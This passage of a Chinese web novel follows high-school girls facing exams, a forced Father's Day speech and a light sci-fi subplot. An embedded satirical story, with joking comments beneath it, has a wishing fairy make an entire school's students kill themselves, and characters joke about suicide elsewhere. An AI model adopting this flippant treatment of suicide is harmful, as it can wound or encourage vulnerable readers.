自从捡到呼叫中心之后,总有一种莫名其妙的悬浮感。前一秒研究星际文明的种族起源,后一秒坐在家里哭着刷旧卷子。律易棋发消息问出去玩不?三个人都没时间回他。
高二的期末考要来了。考完这个,她们就要升入高三,从此和娱乐永别。刘征兰频频梦见自己坐在高考考场上,一道题都不会,醒过来满身冷汗。如果手机时间是五点往后,她还有时间睡一觉。一看窗外是钴玻璃一样的蓝,她就知道完了,只能顶着汗津津的身体出门。
冬天大家都像小面包毛毛熊时,上学让人有种难以言喻的安宁。沉甸甸的衣服把自己裹起来,仿佛一倒头就可以就地睡去,天空黑沉如夜,街上不得不亮起路灯。
可到了夏天,天色轻盈衣物薄脆,这不仅没办法起到愉悦身心的作用,反而会让人有种由衷的恶心。就像是冬天大家都是普通荔枝,夏天壳剥掉之后,放坏的和好吃的一目了然。
坏荔枝刘征兰痛不欲生。在家里她要遭受妈妈和弟弟的精神虐待,天天盼着上学。真上学了她又烦,一天发十条消息问律易棋什么时候毁灭地球。律易棋不回答她就放学跟颜阎聊天,从自杀讨论到炸毁学校毁灭世界,随便拉出一个话题都够枪毙八百次。
最可气的是,期末考将近,刘征兰最受欢迎的时期来了。
好事分子在空间发“转发这个刘征兰保佑你期末超常发挥”,配图是个瘦条条的眼镜小人;班上同学争着要找她问题,拒绝不是不拒绝又浪费时间;外班的踏破门槛就为了得到她的学习笔记,再不济拿到一支笔也行。
连修正带都被薅走的刘征兰烦不胜烦,一气之下将所有文具都扔进呼叫中心。结果上课时取不出来,又不想找别人借,只能在笔记上涂黑疙瘩。
连温战中的柳令全和张晓怡也轮流跑来给她送吃的。康烁影让她趁机从中调节一下两人关系,刘征兰说我哪会调节关系,康烁影让她随便夸一夸柳令全的耳钉和张晓怡的鞋不就好了吗。
耳钉好说,但刘征兰从来没有在意过鞋,压根不知道怎么夸。康烁影于是叫来颜阎,她们班男生天天穿贵得要死的球鞋,他们肯定聊过鞋的话题。
颜阎挠头:“什么?他们的鞋很贵吗?我只注意到他们穿拼色丑鞋。”
康烁影抓住重点:“对对对,那种拼色丑鞋最贵了。谁穿拼色丑鞋,你和他们关系不好就让我去问问。”
颜阎思考。
颜阎回忆。
颜阎放弃。
“我没注意。”
“不是,这种事怎么能没注意呢?他们天天在你眼前晃你看不到吗?”
“看到了,就是,单纯的没注意。”
康烁影捂住她的眼睛:“我今天裤子什么颜色?”
“你得穿校裤吧。”
“……也是。我头发什么颜色?”
“你不黄毛吗?”
“那是栗色!再来!我小拇指的指甲油什么颜色?”
“红色?不对……粉色?”
“我压根没涂指甲油!”
康烁影颤抖地放下手:“我以为你认出了弃首的袖袢,还算是个观察力不错的人……”
“……那个亮晶晶的,很难不注意到。”
好了,刘征兰和颜阎真是天打雷劈的观察弱者,如果这里是推理小说,她俩必是第一晚的死者。
康烁影发愁到上课都在捏自己的笔袋。球球安慰她说没事早晚会和好的。康烁影说你最没资格说话!我还没原谅你呢!
上课期间,敞开的门外一直有一个鲻鱼头的女生在来来回回游荡。众所周知,学习时所有学习之外的事情都会变得有趣,大部分人的目光都集中在那个女生身上,女生也时不时朝教室里的人眨眼睛。
“谁啊?”宋悦馨低声道,“她不上课吗?”
显然不上课,她甚至在教室门口偷偷抛飞吻。语文老师让她们关上门,可笑声又从窗外钻进来。
忍无可忍的语文老师冲到门口,扔下一句“自习”。眼力见非凡的张燕之女士踮起脚偷偷把门来了一条缝,外面的声音清晰很多。
“你哪个班的?怎么不回教室?”
阴险的笑声逐渐升高,变成得意的笑声,声音脆得像玻璃片儿:“老师,我们,高考完啦!”
“呜呼!”“万岁!”“哈哈哈哈哈哈哈!”
教室里的人好像那个百年老尸,原本好端端一具骸骨,死得透透的,某一天忽然被开棺叫醒了。这时候僵尸什么也听不进去,什么列祖列宗啊荣华富贵啊,都不如外面的一线光明要紧。全班人咬着牙红着眼,死死盯着那扇门的缝隙,恨不得化成水流出去。
语文老师明显噎了一下:“就算毕业了也不能影响其他同学,知道吗?”
“知道了老师!”
“我们绝对不把我们每天睡到下午三点起床就
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点外卖喝奶茶打游戏通宵没睡觉就跑来学校看望学弟学妹们的事告诉他们!”
毕业生嚣张地蹲在门外玩手机,在校生咬牙切齿地坐在教室争口气。老师在上面说:“你们不要学她们,以后她们指不定回来复读呢。你们好好学习明年这个时候也能像她们一样高兴,不好好学习明年的现在就准备复习资料吧!”但谁也没听进去。
下课后那两个毕业生还蹲在门口。和睡意朦面如金纸卫生不堪精神崩溃的高中生相比,她俩才真是神采飞扬生机勃勃,高中对人类的摧残在对比中一目了然。
“大家好哇!”旁边打耳钉的披发女生一手捏着奶茶杯,一手尝试跟所有人握两下。她的下巴很尖,脸型像陀螺的剖面“我们解放了!我们再也不用回高中了!”
没什么人认识她们,只觉得她俩是上高中上疯了来刺激高二学生的。所有人都很心烦,同时又很羡慕。
“等我毕业了,一定要去出门旅行。”康烁影发誓。
张晓怡问:“你不考驾照?”
“大学寒假再说!你和柳令全考了就行……柳令全呢?”
令人意想不到的是,这两个女生并不是纯粹来捣乱的。她们此生第一次,不是作为被管理者,和老师们进行了推心置腹的交流,感触良多。出了办公室就到处宣传永远不要完全相信老师。除此之外,她们还带来一个小消息:
“你们的期末考试推迟啦。”
“有这事?”张燕之女士代表全班发话。
“嗯哼。”陀螺说,“你们猜猜为什么?”
“校长虐待儿童落马了?”
“你有本事猜个出卷老师出海捕捞鲸鱼溺水,文印室打印机抽风开始吐炸弹,校长骑马大战风车落马,或者全校老师都莫名其妙去应聘舞台剧演员了呢?哦说到舞台剧,你们知道暑假《初步举证》要在国内演出吗?我暑假要去上海旅游……疼!别扭我!不好意思我承认我毕业了太亢奋了话太多了。我只是想说,太没想象力了!怎么连期末考试推迟的理由都这么现实主义!”
一个合格的学生不需要想象力,有了想象力就是灾难的开始。你会生活痛苦,精神崩溃,感到现实与心灵的极度不平衡。所以高中里生活得还算幸福的人,都是完全相信社会的许诺、并且毫无想象力的人。怪不得颜阎抱怨过,她在空间时不时发表的短篇小说里,最受欢迎的是学生在精灵的诱导下自杀然后全校放假的那篇。
想象力自从义务教育开始就被火化距今已经十来年的张燕之也想到了颜阎的那篇缺德小说。她压下怪笑的嘴角,冷冷道:“快说。”
鲻鱼头叹息:“父亲节要到了呀。学校有个父爱感恩活动。”
“父亲还有节?”康烁影感慨,“我下辈子也要当男的。在外面侃天侃地在家里颐指气使,啥活不干活到四十多,不高兴了对老婆孩子发个脾气,末了还有个节呢,爽死。”
“怎么说话呢。”刘征兰面无表情,“人家还要买烟草供军备,辛苦着呢。”
母亲节当天,全校几乎所有人都自发动员起来。平时晚自习前总是骑电动车去县里买一杯瑞幸或者一点点回来摆在桌子上,看似品茗实则炫耀的装姐装哥们,那天接了无数订单,学校出发一整个车队,带回来各种花、香水、丝巾、甚至还有买扫地机器人和999足金的。
但是父亲节就如同父亲的爱般无声无息,无人问津。乍一听到父亲这个词,很多人还会挠头:呀,我半年没跟我爹说话了!
“说是领导觉得父亲节宣传不够,为了家庭和谐,要宣传一下父亲节的作用。”鲻鱼头和陀螺一起把手里的演讲稿塞给康烁影,“给你们期中的最佳进步奖女士,记得让她读顺溜。”
卫絮正想接过来,陀螺却加了一句:“不是俩人吗?老师说是不戴眼镜的那个。”
张晓怡抬头挺胸接过演讲稿:“受之无愧。”
然后两个学姐就迈着跳步,快活地消失在楼梯口。
就在所有人都以为她们离开的时候,两个人又探出头,亢奋地振臂高呼:“父亲节快乐!”
全班人异口同声:“滚呐!”
68.番外:许愿精灵
三楼走廊尽头的教室里封印着一个许愿精灵,这是全校学生都知道的事。它就藏在窗帘后面,从来没有躲藏的意图,老师只要拉一下窗帘就能看见。
三楼走廊尽头的教室里封印着一个许愿精灵,这是全校老师都不知道的事。老师们自建校以来从不拉窗帘,如果有学生请他们拉窗帘,他们就会大发雷霆,恼怒于学生居然敢让他们做事。除非他们自己发现从讲台下看屏幕反光,否则他们是永远不会拉窗帘的。
很巧,老师正是站在讲台上讲课的那个,看黑板永远不反光。所以至今没有老师拉过窗帘。
学生也曾暗示老师,窗户后面亮莹莹的光和小人的影子不是被没收的七零八碎小玩意儿和不认真听课时造就的折纸作品。老师听罢,愤怒地去揪那个学生的头发:“你怎么知道窗帘后面有东西,你上课是不是不看黑板,光看窗帘了!”
许愿精灵十年如一日地栖身在窗帘后。她坐在那里,头靠着窗户,恬静地沉睡着。不管同学如何呼唤都不曾醒来。直到三胎政策都拉不回来的青少年人口锐减到来,教室里的学生越来越少。精灵还在睡梦中。学校的班级缩减,这间教室也渐渐被弃用。许愿精灵仍然沉沉睡着,灰尘落满了她的身体。
然而,在这命定的一天。一位同学走进了这个教室。这位同学相貌平平,成绩平平,带着少说六百度的眼镜和一身慢性病,前来自习。
关于精灵的传说,他早有耳闻。不过精灵既不能帮他学会化学,也不能让他不学化学就考上大学。更别提学不会写不完的课程还不止化学。于是他目不斜视地走向角落里的课桌,拿出自己的作业。
这节是体育课,同学的欢呼和球与地面碰撞的声音被风送进教室,也传进他的耳中。但他不能下楼,拖欠政治老师三个小时的作业尚待完成,晚自习前要检查的数学作业一字未动,明天早自习将要默写的的五十个六级难度的词组阴险地准备暗杀他。他不得不沉痛地放下对队友的责任和一身荣誉,来到一间没人的教室自习。
写完政治作业,他如释重负地活动了一下酸痛的肩膀。就在他抬头的瞬间,余光捕捉到了什么不同寻常的事物——似乎是一双眼睛从窗帘后窥视。
他吓得抛开纸笔站起来,直直望向窗帘的方向。一个比巴掌大不了多少的小人正坐在那里,水晶般的眼睛凝望着他,里面的悲哀似乎要将她小小的身体压垮。
“你……你是……”
“我是许愿精灵。”小人抖落身上的灰尘,用纤柔的手清理自己透明的翅膀,“我感觉自己睡了好久。”
“确实。”同学说,“一直听说这个教室有许愿精灵,但是从没听说她醒过。”
“我被悲伤唤醒了。有一种潮水般令人喘不过气的悲伤,让我在梦里也忍不住哭泣。”精灵哽咽着擦去眼角晶莹的泪水,“你为什么这么悲伤呢?”
同学回答:“因为我太累了,再也不想上学了。你能让我不学习也考上好大学吗?”
精灵愧疚地摇头:“恐怕不行。你一个人的愿望太微弱了,我不能帮你实现愿望。”
“那只能多叫几个人来了?”同学充满希冀地问。
“是的。”精灵双手交握在胸前,愧疚地低下头,“对不起,我的力量太弱了。”
“没关系。”同学安慰她,“只要我多叫几个人来就行了对吧。”
精灵微笑着点头:“是的。但是人太多了,我就不能单独实现某一个人的愿望,我会感知你们所有人加起来最迫切的愿望,然后实现它。”
同学感激地伸出一根食指:“太感谢你了。”
精灵抬起自己的手,与他的手指握了握:“不客气。毕竟我是许愿精灵嘛。”
这是命定之日的第二天。一车警察把许愿精灵从学校里带走了。
这只许愿精灵坚持要等她的律师从世界节点跳转过来,才愿意接受审讯。本来我国的法律是没有沉默权的,但鉴于幻想生物本身就是反常识的存在,法律自然对她们不适用。审讯只好一拖再拖,直到精灵律师喝完咖啡,看完报纸,和家人道别后,才慢悠悠地从空间的缝隙钻出来。精灵也终于愿意交代事情始末。
昨天那位同学的人缘颇为不错。不仅叫来了同班同
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学,还叫来了外班的不少朋友。外班人带来了自己班的朋友,朋友又带来朋友的朋友。朋友如滚雪球一般堆积,最后几乎整个学校的学生都来了。
“然后呢?”负责审讯的警察心急如焚。
“没有然后了呀。”精灵轻松地说,“我实现了他们的愿望,就这样。”
“放屁!难道他们的愿望是立刻自杀!”警察一拍桌子站起来,“今天早上,整个学校的人全自杀了!一个都没剩下!你敢说不是你干的!”
精灵困惑地歪了歪头:“准确来说不是。”
“什么叫准确来说不是!”
“因为自杀只是一种手段。”精灵轻快地解释道。
麻木的高中学生已经摆脱了幻想,对不学习直升985不抱任何希望。他们只希望能够放一个不用补课的长假,从六点起十二点睡的生活中获得一线喘息之机。
他们同样认清了现实。天灾是不可能令学校临时放假的。不管是大雨大雪,还是洪涝干旱,学校都风雨无阻地按照计划运转。
所以他们想到了一件事:自杀。
只要这个学校里有人自杀,就会引起外界关注。学校为了推卸责任,自然也会降低学习负担,至少也会放假一天。
所以当时在场学生的愿望无一例外,都是希望别人自杀。
精灵尽职尽责地实现了所有人的愿望。于是学校里的所有同学在虔诚的祈愿中推开窗户,旅鼠跳海般决绝而坚定,在教学楼边铺就了流淌的血海。
“至少,他们现在都放假了。”精灵简单总结道。
刘征兰等5人转发
刘征兰、康烁影、不考进年级前20不改名等39人点赞
刘征兰(此地不宜久刘):笑死。
郁霖雨(游乐园售票员):。你没事吧?
商博良(AAA英语答案批发):你几点发的?
康烁影(你怎么知道我担回我ins):精神状态一片大好哇!
艺术家(樱花.emoji):我也要死我也要死。
姐姐(春去也):这什么精灵!
69.暴风雨之日
夏天的暴风雨即将来临。
天空仿佛一条长满苔藓的山径,自然光只剩平时闭上眼睛后从眼皮透过来的那点。夹杂着土腥味的热风和时而降临的闪电笼罩这个小小城镇所有的屋顶。
这毫无疑问是个令人无心学习的天气。大家都怔怔地望着窗外。
公冶长与普通班的社会姐竞争历史课第二排位置失败,只好在热情欢迎下坐到第一排的颜阎身边。
公西华喜欢缩在窗户旁边不引人注意的地方,而公冶长为了记笔记方便,一向是坐在视野良好的第二排。她们两个不是那种时时刻刻要黏在一起的类型,对这种事情接受度良好。
可是在同桌是颜阎的情况下,她就有点想念安静的公西华了。
颜阎太喜欢自言自语了,有时候上课还会发出一两声古怪的笑声。天地良心,老师只不过是在讲戊戌变法时顺便拓展了一下戊戌六君子的生平,她怎么能笑成这样。
这尚且还能忍,可颜阎丢三落四的技艺过人。如果她是魔术师,公冶长将欣然观赏她一弯腰一抬头之际橡皮黑笔荧光笔华丽滚落的场景,可她是自己的临时同桌,她会让公冶长移桌子给她捡的空间。
捡起来之后她的荧光笔肮脏不堪,一看就知道值日生偷懒,于是她求公冶长借一支荧光笔划重点。公冶长只有一支,借出去之后这个女的变本加厉,每次还回来都要说一声“感谢”,烦得公冶长头晕脑胀。
终于,在此女第五次低声道谢时,公冶长微笑着看向她:“你能不能不要说话了,很烦。”
饶是颜阎都大受打击。这节课往后再也没有说话。课堂里除了历史老师悠然的声音,就只有小喇叭和别人的窃窃私语。
历史课结束后,雨正式来了。雨点像风铃叮呤当啷的水晶线。
许多没带伞的人叽里咕噜地慌张起来,轮流跑去老师办公室给家长打电话。说是慌张,其实在这种天气下,所有人都不由自主地拖沓。
除了这些人,还有一些进化未完全的元谋人,祈雨祭祀的习俗仍然深深镌刻在他们的DNA里,每到下雨天,就会把手伸出去接点水然后甩到别人身上(比如康烁影)。这其中掌管祭祀的几位则会张开双臂对天大喊“让暴风雨来得更猛烈些吧”。
刘征兰是沙漠植物,不能有太多水,会淹死,这种阴沉沉的天气令她发霉长蘑菇。更何况父亲节将至,她不如颜阎心大,可以放肆地把这件事当一个玩笑说出去,她真心实意地为“感恩父爱”活动存在并且强制参加而悲哀。
康烁影给她拔蘑菇:“我爹都来你还有什么不满意的。”
“我觉得这是个波及甚广的悲剧。”刘征兰说,“你看我们班谁真的觉得自己爹是个好人。”
“甘忘营。”
“还有吗?”
“……没了吧。诶,那个……颜阎的爹怎么样?”
“她喊他爹叫内谁。”
“懂了。”
这种难以言说的默契让她们迅速明白了一切,坐在一起开始唉声叹气。很快这股悲伤感染了所有人,几乎全班都开始一声比一声高地叹气。当音抬到F5,终于叹不下去了。除了少许魔怔男生以外的同学难得达成共识:die is not the answer。张晓怡甚至夺门而出,不愿再加入这场谈话。
柳令全问:“她又怎么了?”
“不知道啊。”康烁影挠头,“我下节课去哄哄她吧。”
下午放学后,狂风暴雨已经在地上积出一片水潭。苔藓覆盖的天空变成苍绿色,像是刷碗海绵背面的绿色百洁布,并且它们都能挤出水来。
颜阎借康烁影的电话打了电话回家,说不想淋雨,想在学校跟小伙伴们吃方便面。
妈妈问要不要去接她,她说别了吧,你和奶奶打着伞在雨里等我一个青春少年听起来像虐待老弱病残。妈妈隔着电话叹气:“都怪咱们家没车。”
颜阎大喜:“你终于决定考驾照了?”
妈妈在电话那头笑,并特许她可以在学校里吃饭。电话最终以常规的撒娇结尾。
很不巧的是,这一天大多数人都留在学校。包括康烁影和她的两位小伙伴。小卖部关门了,于是大家不是点这个小城镇里为数不多的外卖,就是冒着雨跑三十米+学校内的二十米,到律易棋和他周围的两家小店买速食。
最奇怪的是,这个学校没有食堂没有宿舍,却有一台全校共用的微波炉。当天微波炉爆满,听说有人到了上课都没吃上饭。
颜阎恳求带威胁,让刘征兰一定要陪她。刘征兰问:“不然呢,你就成校园孤儿了是不是?”
康烁影有点同情,让刘征兰别说那么重。
“反正她们三个多你一个不多少你一个不少。”颜阎照常狗嘴里吐不出象牙。
康烁影立刻给了她一脚:“白同情你!”
两个人算了算外卖券和堂食的费用,决定还是点了外卖一块儿去呼叫中心吃。等外卖的途中小喇叭借走了颜阎的雨伞,颜阎顺便问了一句:“你历史课和谁聊天呢?声儿太大了,下次小声点。”
小喇叭比了个“ok”,然后说:“艺术家和公西华。”
颜阎怀疑:“公西华跟你聊天?她能跟你聊什么?”
小喇叭撑开她的伞,看着上面某电器品牌的名字,很嫌弃地抖了抖:“一些父爱如山的话题。”
“你们的爹难不成都是好人?”颜阎大惊。但是她偶尔灵活的小脑瓜又感觉这么说不太尊重,刚准备变换一下措辞,却看见小喇叭神秘一笑。
“不。”她说,“都是垃圾。”
“我服了。我刚准备找补说:‘不过你爹在我印象里还挺好的’。”
“你爹在我印象里也挺好的。”
“……敌人十分擅长伪装。”
晚自习放学后,雨势不减。天井里蓝白拼色的方块小瓷砖本来就很像澡堂子,这样一来干脆像游泳池了。很多年后三中的同学们回想起来那个夜晚,还会如此描述:我从没见过一个学校的下水管口建得这么明显,这么像游泳池。即便这样,它还是在反水,太奇妙了!
全校最爽的就是穿着露脚趾拖鞋的甘忘营等人,她们直接打起伞冲进雨里,丝毫不担心鞋子进水。刘征兰把书包背在身前挡雨,口中低语:“这就是我为什么讨厌下雨天。”
二班的陈彦邢平时都自己骑自行车回家,家长分别在医院和供电厂值夜班,没法来接。康烁影等一众和他关系良好的女同学帮他拦了一个不认识老师的车(后来得知是高一的教导主任),让他坐着回去了。
颜阎像扛着枪似的扛着伞,正要离开屋檐,突然发现学校门口荣誉校友送的两个没用的青花瓷瓶后还站着一个人。她一看就乐了:“张晓怡女士,走不走?”
张晓怡一咬牙:“走。”
颜阎的伞是“内谁”的合作单位送的赠品,任何人结合其劣质的伞骨和羸弱、掉色、印着“xx电器”的伞面,都能推测出这把伞的年纪可能和颜阎一般大。
颜阎让她打着伞,谁受惠谁出力,张晓怡不干。幸好她本来也不是贪图她那点力气,最后还是自己打着了。
张晓怡其实带伞了。
那把伞就在她书包的侧收带里,颜阎的观察力但凡再好一点,她就不至于看不见。可惜她是颜阎。
张晓怡的伞是一把黄色的塑料布伞,上面印着卡通小黄鸭、猫和老鼠、喜羊羊等图案——这明显就是一把孩子的伞,她实在羞于展示。本来准备等所有人都走光了再独自离开,但是颜阎来了,不走白不走。
按理说,颜阎都知道她在馄饨店打工了,在她面前露怯应当没什么。可是“知道”和“承认”是两回事。
穷人很少能堂堂正正说出“我没钱”。当身边大部分人的消费水平都高于自己的时候,那种差距真真切切地横亘在你和她人之间,你是羞愧于说“没钱”的。
刘征兰一直怀疑她和卫絮在卫生间里地下结社。没有,完全没有。卫絮出于善良或者别的什么原因,提前告诉了她父亲节的事。她说数学老师看到她其中进步很高兴,恰巧说了一句:“六月份父亲节可能要办活动,进步奖要发言。你太腼腆了,好好练练。”
但是她跟数学老师闹掰后,名额自然轮不到她了。幸好在一个悄无声息的角落,还有另一个进步奖得主:张晓怡女士。
随着六月将近,父亲节办活动的事愈发证据确凿,卫絮悄无声息给张晓怡写了张稿子。语文同样不怎么滴的张晓怡看了看,拍案叫绝。
两个人出于同谋的小心思,谁都不愿意在班级同学面前暴露,于是偷摸跑到卫生间改稿。卫絮说我们这样有点恶心,张晓怡说隔壁男生还在卫生间抽烟呢,我们算什么!
可是这一次,没有让演讲者自己写稿。
国旗下讲话、广播站播音员、团支书竞选,都是本人写稿。唯独到了张晓怡这里是直接念稿。
“亲爱的老师同学,家长领导们:
大家好!我是来自高二(2班)的张晓怡。今天,我们站在这里,庆祝父亲节的到来!
亲爱的同学们,虽然这个节日最初是由外国人设立的,但它表达了全世界人民对父亲的尊敬和对长辈的爱。所以,我们也要记住这个节日。男孩女孩们,我的父母给了我们生命。他们用双手养育了我们,他们的规劝总是在我们耳边回响..……我父母爱我们。我们是否应该像鸟儿和树叶一样善良,用同样的爱来回报它们?如果你愿意,用我们热爱生活和学习的精神驱逐他们的烦恼,带给他们快乐和满足!
父爱无私无私,父爱不离不弃,父爱是无限的体贴和关怀。感激你的父亲,继承他的遗志,像他的父亲一样伟大。为身边的人付出,尽管别人的行为让你感到难过和失望,尽管我的付出永远得不到回报和认可,但我们无怨无悔。
我虽然家境贫寒、羽翼未丰,无法给父亲带来鲜花和金银,但我可以用我的成绩来回馈他。在本学期的期末考试中,我获得了最佳进步奖,我相信,在父亲心中,这一定是最好的礼物!
父亲,无论是否贫困,我都感谢你给了我这条生命,感谢你带给我的爱,我将用一生一世来报答你的恩情!”
张晓怡读完演讲稿,恶心得一直干呕,喉咙里像是有一个空洞,无论如何吞咽、进食,都无法将它修复。
不仅是关于父亲的措辞让她恶心,还有家境贫寒。
为什么要写家境贫寒?她不是进步奖吗,怎么看起来进步反倒像是贫穷的衬托?是,她爸都没工作,妈妈偶尔摆摊赚点小钱,她家靠四位老人养着。但是为什么一定要强调?让这些人路过时拍拍肩膀说一句“真可怜”吗?
要是他们抛过来一沓钱,她倒是愿意衡量一下利弊。可是甚至没人给她钱!人们满怀同情心地感慨一句,像是观察动物园里的狐狸一样怜惜而善良地看着贫穷,留下三言两语,然后径直离去了!她是什么功德刷票机吗?
凭什么?凭什么?凭什么?凭什么!
“张女士?”
张晓怡猛然回神。
颜阎龇牙咧嘴:“松个手呗,我膀子真的很疼。”
张晓怡立刻放开颜阎的手臂,继而有空观察四周。
“不对啊!”她幡然醒悟,“这哪儿?”
“我家楼下。”颜阎道,“我把你拐卖了。叫吧,叫破喉咙也不会有人来救你的……我错了。”
张晓怡放下准备掐她的手。
“你不是没伞吗?我就把你绕到我家来了。等我进了楼道,你就打着伞回去,明天早上再带给我,反正我家还有伞。”
张晓怡一顿。说实话,她也不太想打颜阎的劣质伞。但一想到可以推给颜阎,心里多少好受点:“行,我收下了。”
“好的,下面我要进楼道了。你的伞要在进入屋檐之前撤开,又不能让我淋到一点雨。这是组织上对你的考验,成功之后,你才能操纵更精密的机甲,明白了吗?”
“……什么组织?”
“你别管,你就说听懂没有?”
“听懂了?”
“好!一、二、三、撤!”
颜阎回家后换下湿漉漉的T恤衫,第一件事就是拉着妈妈在窗边鞠躬。妈妈不明所以,一边把碗里削好的苹果往她怀里塞一边啃果核:“拜什么呢?”
“拜天。”颜阎神情坚定,“我希望明天早上醒来学校已经被淹了!”
妈妈笑嘻嘻地把铁叉子伸到碗的最下面:“那妈妈也帮你拜拜,最好明天别办活动了。”
颜阎趁妈妈假装双手合十的档口,把苹果片塞进她嘴里。虽然妈妈说着“妈妈不吃”,但她还是把那一片吃掉了。颜阎静静观察她下颌的幅度,确定她咽下去之后又递上一片。这次妈妈以怕凉为借口,说什么也不愿意吃了,就算她撒娇带威胁也没用,她只好气鼓鼓地自己离开。
她的愿望不出意料地落空了,学校就是有这种魔力,让一切阻挡上学的不可控因素全部失效。
第二天上学时,雨已经停了,天空呈现一种铅笔涂抹的亮银灰,地上是一串挂着一串的小水洼,随处可见小拇指盖大的灰蜗牛壳,
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里面房客失踪,仅余空宅。走进学校后还来不及互相问候,就听见学校后面的农村传来此起彼伏的□□叫:
“你好呱。”
“好什么好呱,这么多蜻蜓我一只都没抓到。”
“很好了呱呱。你看那面墙后面的倒霉蛋每天上学十二个小时呱。俺们睡觉都不止十二个小时!”
“你说得对!呱呱呱呱!”
“呱呱呱呱呱!”
康烁影听不懂它们说话,以上都是臆测的。但她还是为她要上学□□不用而气得发疯,当即发了条朋友圈:“到底什么样的远大前程,值得把每一个四季都错过。”然后配了一个山雨欲来的氛围感照片。零人点赞,全在线下咒骂学校。
这一天仍然气压低沉,可下午有一个父亲节活动,这让大家多少有点盼头——原谅他们吧,他们是高中生,即使明知这活动不会给他们带来任何慰藉,他们还是会对所有名叫“活动”的事物抱有期待的。
这个活动在下午放学和晚自习之间举行,和自己的父亲许久没有对话的学生们开开心心地领着自己的父亲走进伸缩门,穿过夹击在职校和小区之间毫无装饰物单纯是为了延长上学路程的五十米小径,进入门口有两个青花瓷瓶的希腊风大门,欣赏搭配园林鹅颈椅的西式走廊和天井里类似游泳池的蓝白地砖,最后直上二楼进入礼堂。
此时大家都意识到了为什么要举办父亲节感恩活动,而不是母亲节。因为榕城的礼堂甚至装不下全校同学,更别提同学的家长。父亲节时高三已经毕业,只要委屈几个学生站着,还是可以勉强塞下的。
校长为这个活动殚精竭力,每天八点醒十点睡,甚至特意染了个头买了个表。虽然他平时也买表,但这次的表显然有着不同的意义。
这可是他来到三中空降校长后的第一个大型活动,他决心把这个活动办大、办好:首先创新形式、广泛宣传,极力营造学习与娱乐相互结合的学习方式。其次创造性得开展多种形式的学校文体活动感恩活动,激发学生们的想象力、创造力,让学生树立正确的价值观……
为了校长的殚精竭虑,教导主任每天十二点睡六点起。经过这一次的活动,他意识到父亲的缺位的确是现代社会中不可忽视的现象。有无数个学生跑过来问他:“老师,我能不参加这个活动吗?”
教导主任委婉询问:“抱歉,他们什么时候去世的?”
学生们愁眉苦脸:“比那还糟。他们还活着,并且真的想来。”
他感慨万千,赶紧给女儿打了电话。他可爱的小天使前几天还坐在他怀里甜甜地撒娇,让他买一副拼图。他当时怕女儿玩物丧志,狠心拒绝了,现在想起来,女儿的眼神真是令他心如刀绞。
打通电话后,他温柔地问女儿还想不想要守护甜心的拼图,他下班回家就带一副给她。女儿说:“你清醒一点吧!我研究生都快毕业了!”
孔丘非常厌恶形式主义,可是人在屋檐下不得不低头,她只能在课堂上跟学生骂校长和教导主任来发泄愤怒。然后在教导主任进门通知她礼堂集合时奴颜婢膝。周天子无所谓,为了打发时间,她决定坐在宋悦馨身边听她吹捧自己。虽然宋悦馨父亲的吹捧水平不如他的妻女,但也算得上是小有作为。
这场活动里最轻松的就是学生们。他们一点睡六点起,下午还能见到自己的父亲。大家不约而同地询问:“爸,我今晚咋吃饭?”
大家的父亲不约而同道:“找你们妈去。”
张晓怡和校领导们坐在第一排,将手里的演讲稿捏得发皱。
与此同时,礼堂外有两个好事分子正在上自习。
颜阎女士和刘征兰女士举笔相庆。
榕城作为一个衰败的能源城市,人口外流十分严重。二人的父亲均在外地长住,她们享受丧偶式育儿十七年之久,如今再一次吃到红利。在这个重大的节日,校领导考虑到两人在不符合传统价值观的家庭状况,以及对权威极度不服从的前科,判处二人自习之罚。
除她们之外,全班也有不少老一辈带大的孩子。大家都为自己逃脱形式主义囚笼而欢庆,几个班的人偷偷摸摸聚在一起玩教室里的一体机。
窗外天色依然阴沉,云层间隐隐透出的光线像碗边嗑过的蛋清。学校房顶上很高很高的地方,能看出一点阴雨稍霁的影子,那里的云开了一个大洞,珍珠光泽的云边打着小小的卷。
这时候外面有人敲了敲门,一张小巧的脸探出来。
“颜阎和刘征兰在吗?”一个声音说。
大家低头一看,是个小升初阶段的可爱小姑娘,圆圆的眼睛配着几乎平直的下眼睑,看上去很像抬着眼睛看人,脸上不像其他小孩那样笑滋滋,而是没什么表情。只有一对眉毛往下撇,看起来老大不高兴。
铃铛!
颜阎谎称这是自己的小表妹被带过来找自己玩,然后蹦蹦跳跳地跟刘征兰走出去:“呀,铃铛。你要毁灭世界吗?”
“没这本事。”铃铛撅着嘴,“有一个、很小很小很小的问题哦。”
“……什么问题?”
“就是……哎呀……”她扭扭捏捏,“尽管我们的行动迅速结构严密,下级却未能将消息传达到位,因此很难彻底消灭错误。我们承诺将从严治理加强培训,争取做到少犯错,常反思,不松懈,多行动。今年都能够把“史上最严厉”的“信息传递”不折不扣落到实处,严管重查,抓几个典型出来……”
“停止,申论停止。”高一就坚定地把政治踹了的颜阎大叫,“你再说我们就走了!”
“就是、那个……”她完全放弃了扭捏,取而代之的是一种破罐子破摔的幸灾乐祸,“消息传递出问题了。有个著名娱乐节目叫《是财迷就下一百层》,在宇宙内特别有名,觉醒联盟和柯玛社会的高层尤其爱看。节目组最新的拍摄在隐者星系群,你们地球未经上报的时空跳格子影响了量子方程式的计算,扭曲时空的引力把它们的格子引过来了。
可是呢,两边的一些高层都认为节目绝对不能停播,它们当天要举办重要会议——其实就是一些上流人士的聚会。于是我们解决了你们的跳格子问题,节目组听说危机解除立刻继续跳格子。可是出于一些官僚主义和结构冗余,节目组不知道危机是非法跳格子,我们也不知道节目组不知道这里的危机是跳格子……
总之,《是财迷就下一百层》的节目组定位出错了,马上就会在这里出现,你们做好心理准备。”
刘征兰看了看天上开洞的云:“马上是什么时候?”
“现在。”
70.战术破门
张晓怡走上发言台。
她把校服穿得笔挺,甚至还戴上了配套的领花。
手持麦克风像大象的鼻子,沉甸甸滑溜溜。她甚至分不清耳边的声音是老旧设备里的象鸣,还是是她牙关咬紧的吱扭声。
这红色是什么?是她眼睛里的血吗?是她心脏泵出的血吗?是她的眼泪吗?是太多粉红的钞票吗?还是只是礼堂的布缦?
真的要念吗?
她的父亲坐在台下。那个在她印象里只会躺在沙发上看电视的人,那个把短视频软件开到最大音量的人,那个抽烟的人。他不算家暴过她,那最多只能算管教孩子,他甚至会在有钱的时候,带她去吃一顿华莱士。
他从来没有给她的生活带来任何帮助。即便如此,他在身边所有同学的父亲中,居然算是难得的好人了!
张晓怡想:去死吧!
